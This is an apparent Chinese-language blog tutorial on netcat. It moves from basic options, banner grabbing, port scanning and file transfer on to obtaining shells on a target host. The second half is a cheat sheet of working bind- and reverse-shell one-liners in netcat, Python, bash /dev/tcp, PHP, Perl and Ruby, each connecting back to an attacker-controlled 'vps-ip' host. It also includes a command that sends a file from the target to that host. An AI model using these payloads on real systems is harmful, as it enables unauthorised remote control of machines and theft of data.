• netcat详细使用


    安装

    kali自带
    window 可以官网下载

    简单使用

    • 命令查询
      nc的功能很多,可以输入 nc -h 命令进行查询

    在这里插入图片描述

    -g<网关> 设置路由器跃程通信网关,最多可设置8个。
    -G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
    -h 在线帮助。
    -i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
    -l 使用监听模式,管控传入的资料。
    -n 直接使用IP地址,而不通过域名服务器。
    -o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
    -p<通信端口> 设置本地主机使用的通信端口。
    -r 乱数指定本地与远端主机的通信端口。
    -s<来源地址> 设置本地主机送出数据包的IP地址。
    -u 使用UDP传输协议。
    -v 显示指令执行过程。
    -w<超时秒数> 设置等待连线的时间。
    -z 使用0输入/输出模式,只在扫描通信端口时使用
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • Banner抓取
      banner抓取是一种在开放端口上检索关于特定服务信息的技术,在渗透过程中用于漏洞的评估
      执行下列命令,从抓取的Banner信息中可以得知,目前目标主机的135端口上运行了epmap服务,版本号为2.3.4
      在这里插入图片描述
    • 远程连接主机
    nc -nvv 远程主机地址 端口
    
    • 1
    • 端口扫描
    # 扫描指定主机端口
    nc -v ip地址 端口
    
    • 1
    • 2

    在这里插入图片描述

    • 端口监听
      监听本地端口,当访问该端口时会输出该信息到命令行
    nc -l -p 9999
    
    • 1

    在这里插入图片描述
    -文件传输
    在本地VPS主机中传输 输入如下命令开始本地监听,等待连接

     nc -lp 333 >1.txt
    
    • 1

    在这里插入图片描述

    在目标主机输入如下命令与vps的333端口建立连接,并传输一个名为1.txt的文本文件

    nc -vn 192.168.227.137 333 < 1.txt -q 1
    
    • 1

    在这里插入图片描述

    传输完成 在VPS中打开2.txt文件可以看到数据已经传送过来了
    在这里插入图片描述

    获取shell

    shell分为两种 一种是正向shell,另一种是反向shell
    正向shell:客户端连接服务器,客户端想要获取服务器的shell
    反向shell:客户端连接服务器,服务器想要获取客户端的shell
    反向shell通常用在开启了防护措施的目标主机上,列如防火墙过滤,端口转发,

    正向shell

    输入如下命令监听目标主机上的4444端口

    nc -lvp 4444 -e /bin/bash                  // linux
    nc -lvp 4444 -e c:\windows\system32\cmd.exe      // windows
    
    • 1
    • 2

    在这里插入图片描述

    输入如下命令,在本地或者VPS主机上连接主机的4444端口,查看当前的IP地址,已经是 192.168.227.137了

    nc 192.168.227.137 4444
    
    • 1

    在这里插入图片描述

    反向shell

    输入如下命令,在本地或者VPS主机上监听本地9999端口

    nc -lvp 9999
    
    • 1

    在目标主机上输入如下命令,连接VPS主机192.168.227.137的9999端口

    nc 192.168.227.137 9999 -e /bin/sh							//linux
    nc 192.168.227.137 -e c:\windows\system32\cmd.exe			//windows
    
    • 1
    • 2

    就可以在本地或者VPS主机上看到连接了

    在目标主机中没有nc时获取反向shell

    python反向shell

    执行如下命令,在VPS上监听本地端口2222端口

    nc -lvp 2222
    
    • 1

    在目标主机上执行反弹命令

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vps-IP",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
    
    • 1

    在这里插入图片描述
    查看当前IP已经是192.168.227.131,说明已经建立
    在这里插入图片描述

    bash反弹

    执行如下命令,在VPS上监听4444端口

    nc -lvp 4444
    
    • 1

    在目标主机上执行反弹命令

    bash -i >& /dev/tcp/vps-IP/port 0>&1
    
    • 1

    在这里插入图片描述

    PHP反向shell

    执行如下命令,在VPS上监听4444端口

    nc -lvp 4444
    
    • 1

    PHP常用在WEB服务器上,执行如下,进行反弹

    php -r '$sock=fsockopen("vps-ip",port);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
    
    • 1

    Perl反向shell

    执行如下命令,在VPS上监听4444端口

    nc -lvp 4444
    
    • 1

    如果目标主机使用Perl语言,执行如下

    perl -e 'use Socket;$i="vps-ip";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    
    • 1

    Ruby脚本反弹shell

    当目标主机上有ruby环境时,我们可以用ruby来反弹shell

    攻击机开启本地监听:

    nc -lvvp 4444
    
    • 1

    目标机主动连接攻击机:

    ruby -rsocket -e 'c=TCPSocket.new("vps-ip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
    或
    ruby -rsocket -e 'exit if fork;c=TCPSocket.new("vps-ip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
    
    • 1
    • 2
    • 3
  • 相关阅读:
    【JS逆向系列】某乎x96参数3.0版本与jsvmp进阶
    2023华为HCIA+HCIP最全Datacom题库解析
    【API篇】七、Flink窗口
    行列视(RCV)数据安全如何保障?
    JSD-2204-跨域问题-总结Spring框架-Day08
    媲美iptables的Windows端口转发——netsh
    ASO优化之为应用创建屏幕截图的技巧(下)
    vue的学习
    快鲸智慧楼宇系统在楼宇管理中发挥了哪些积极作用?
    大数据时代下,医疗行业如何实现数据安全保障?
  • 原文地址:https://blog.csdn.net/pggril/article/details/125317484